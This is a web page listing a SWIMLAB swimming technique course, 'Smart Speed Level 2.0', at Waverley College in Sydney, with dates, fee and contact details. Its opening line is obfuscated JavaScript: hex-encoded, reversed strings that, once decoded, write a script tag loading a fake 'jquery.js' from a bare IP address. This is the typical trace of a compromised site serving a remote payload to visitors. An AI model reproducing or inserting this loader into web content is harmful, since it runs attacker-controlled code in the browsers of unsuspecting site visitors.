var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Smart Speed  program  broaden your swimming IQ and challenge you to apply advanced skills; moving your focus away from 'the pace clock' and the single metric of end result 'time'.  Understanding the following equation, and how to apply skills to achieve your best in any given swim task or competition. 
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Total Immersion™ Smart Speed Level 2.0

October 12 @ 6:00 pm - November 16 @ 7:15 pm

$360

total-immersion-swimmingSmart Speed will broaden your swimming IQ and challenge you to apply advanced skills; moving your focus away from 'the pace clock' and the single metric of end result 'time'.  Understanding the following equation, and how to apply skills to achieve your best in any given swim task or competition.

 

Stroke Length (SPL) x Tempo (secs per stroke) = Velocity

 

Thursday's,  6.30 - 7.15 pm, Waverley College

Thurs 12, 19, 26 Oct; 2, 9, 16 Nov

Achieve 'pace mastery' by learning how to apply different combinations of SPL (stroke length) and Tempo, that lead to swimming 'gears' and hence 'easy speed'.

Organizer

SWIMLAB
Phone:
0404 503 355
Email:
claire@swimlab.com.au
Website:
swimlab.com.au

Venue

Waverley College
Birrell Street
Sydney ,
+ Google Map
Phone:
0404503355